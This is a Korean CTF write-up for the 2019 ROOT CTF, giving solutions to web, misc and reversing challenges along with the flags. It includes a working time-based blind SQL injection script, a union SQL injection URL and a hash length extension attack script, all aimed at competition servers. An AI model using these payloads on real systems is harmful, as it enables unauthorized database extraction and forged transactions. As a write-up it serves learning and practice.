2019 ROOT CTF Write up

박기태·2020년 1월 3일
1

2019 ROOT CTF Write up

이름: 박기태
닉네임: kitae
순위: 4등
점수: 2700점
최종순위: 3등

목차

  • Web
    * Easy_PHP (300)
    • simple_board (400)
    • RootDict (500)
  • Misc
    * Doctor_Rand (300)
    • I_have_an_eraser (400)
    • MacShop (500)
  • Reversing
    * Giveme (300)

Web

Easy_PHP

IF ord(get['str']) == '{text}' then...
php type juggling을 활용한 문제인데 문자열과 0이 만나면 참이 되는 것을 이용하여 풀면 된다.

ord(NULL)은 0과 같기 때문에 str=\00 해주면 플래그가 나온다.

FLAG{Nu11_0_5+R!n9}

simple_board

time based sql injection 문제다.

소스에서 주석처리 되어있는 부분을 보면 title이 FLAG인 열에서 info를 뽑아서 보내면 플래그를 주는 것을 알 수 있다.

import requests
import string
import time

url = 'http://sdhsroot.kro.kr/newprob1/write.php'
cookies = {'PHPSESSID': 'c4dbd3e25cfd41b4bec47763645206cd', 'year': '2018-12-12'}
strings = string.printable
table_name = ""
info = "" #3.017315122315022e15

for i in range(1000):  # get table length
    payload = f"1' and if(length((SELECT group_concat(table_name) from information_schema.tables where table_schema=database()))={i}, sleep(3), 1)='1"
    data = {'title': payload, 'text': '1'}
    t = time.time()
    r = requests.post(url, cookies=cookies, data=data)
    print(payload)
    t = time.time() - t
    if t > 2:
        length = i
        print(length)
        break

for i in range(1, length+1): #get table_name
    for s in strings:
        payload = f"1' and if(substr((SELECT group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1)='{s}', sleep(3), 1)='1"
        data = {'title': payload, 'text': '1'}
        t = time.time()
        r = requests.post(url, cookies=cookies, data=data)
        print(payload)
        t = time.time() - t
        if t > 2:
            table_name += s
            print(table_name)
            break

for i in range(1000):  # get info length
    payload = f"1' and if(length((SELECT info from board where title='FLAG'))={i}, sleep(3), 1)='1"
    data = {'title': payload, 'text': '1'}
    t = time.time()
    r = requests.post(url, cookies=cookies, data=data)
    print(payload)
    t = time.time() - t
    if t > 2:
        length = i
        print(length)
        break

for i in range(1, length+1): #get info
    for s in strings:
        payload = f"1' and if(substr((SELECT info from board where title='FLAG'),{i},1)='{s}', sleep(3), 1)='1"
        data = {'title': payload, 'text': '1'}
        t = time.time()
        r = requests.post(url, cookies=cookies, data=data)
        print(payload)
        t = time.time() - t
        if t > 2:
            info += s
            print(info)
            break

flag = requests.post('http://sdhsroot.kro.kr/newprob1/check.php', cookies=cookies, data={'key': info})
print(flag.text) #<script>alert('FLAG : FLAG{C1053X_closeup_c!OsEUP}');location.href='./';</script>

RootDict

type 파라미터에 union sql injection 터지는데 테이블명 얻은뒤 플래그 뽑으면 된다.
http://sdhsroot.kro.kr/dict/index.php?type=animal%27%20union%20select%20flag%20from%20flag_Table%20--%20-&name=1
FLAG{EEEE4Sy_Sql1}

Misc

Doctor_Rand

소스에서 준 함수를 가지고 코드짜서 돌렸다.

<?php
    $result = 123456789;
    
    function xor_rand($state){
            $state ^= $state << 23;
            $state ^= $state >> 17;
            $state ^= $state << 20;

            return $state;
    }


    for ($i = 0; $i < 6; $i++) {
      $result = xor_rand($result);    // ^= left 23, right 17, left 20 /// return $state
    }
	
	echo $result;

FLAG{X0R_F4k3_r@^D0m_NuM63r}

I_have_an_eraser

Stegsolve.jar 쓰면 풀린다.


FLAG{you_got_the_QRcode}

MacShop

RCTF 2018 Cpushop 문제 거의 그대로 배껴왔길래 소스 조금 수정해서 썼다.
https://sites.google.com/site/ssfactorial/ctf-writeup/rctf2018cpushopcrypto

from pwn import *
from hashpumpy import hashpump
from hashlib import sha256

context.log_level = 'debug'

def check_auth(fake_auth):
    s.sendline("3")
    s.recvuntil("order:\n")
    s.sendline(fake_auth)
    msg = s.recvline().strip()
    print('msg:', msg)
    if "Order!" in msg:
        return 0
    else:
        print(1)
        return 1

s = remote("222.110.147.52", 10523)

s.sendline("2")
s.sendline("7")
s.recvuntil("order:")
data = s.recvuntil("timestamp=")
timestamp = s.recv(16)
t = s.recv(6)

packed_data = data.strip()+timestamp
sign = s.recv(64)

print("{"+packed_data+"}")
print("{"+sign+"}")

for i in range(8, 33):
    newdgst, newmsg = hashpump(sign, packed_data, "&price=0", i)
    print(newdgst, newmsg)
    fake_auth = newmsg+"&sign="+newdgst
    print(fake_auth)
    if check_auth(fake_auth):
        break

s.interactive()

FLAG{B3st_W1sh3s_f0r_4_H4ppy_N3w_Y3ar}

Reversing

Giveme

angr 써서 풀었다.

import angr
import claripy

proj = angr.Project('./Giveme', load_options={"auto_load_libs": False})
argv1 = claripy.BVS("argv1", 35 * 8)
initial_state = proj.factory.entry_state(stdin=argv1)
for byte in argv1.chop(8):
    print(byte)
    initial_state.add_constraints(byte >= '\x20') # ' '
    initial_state.add_constraints(byte <= '\x7e') # '~'

initial_state.add_constraints(argv1.chop(8)[0] == 'F')
initial_state.add_constraints(argv1.chop(8)[1] == 'L')
initial_state.add_constraints(argv1.chop(8)[2] == 'A')
initial_state.add_constraints(argv1.chop(8)[3] == 'G')
initial_state.add_constraints(argv1.chop(8)[4] == '{')
initial_path = proj.factory.path(initial_state)
path_group = proj.factory.path_group(initial_state)
path_group.explore(find=0x400DA4, avoid=[0x400D0A])
found = path_group.found[0]
print found.state.se.eval(argv1, cast_to=str)

FLAG{i_f011ow_y0u_1nt0_th3_Unkn0wn}

0개의 댓글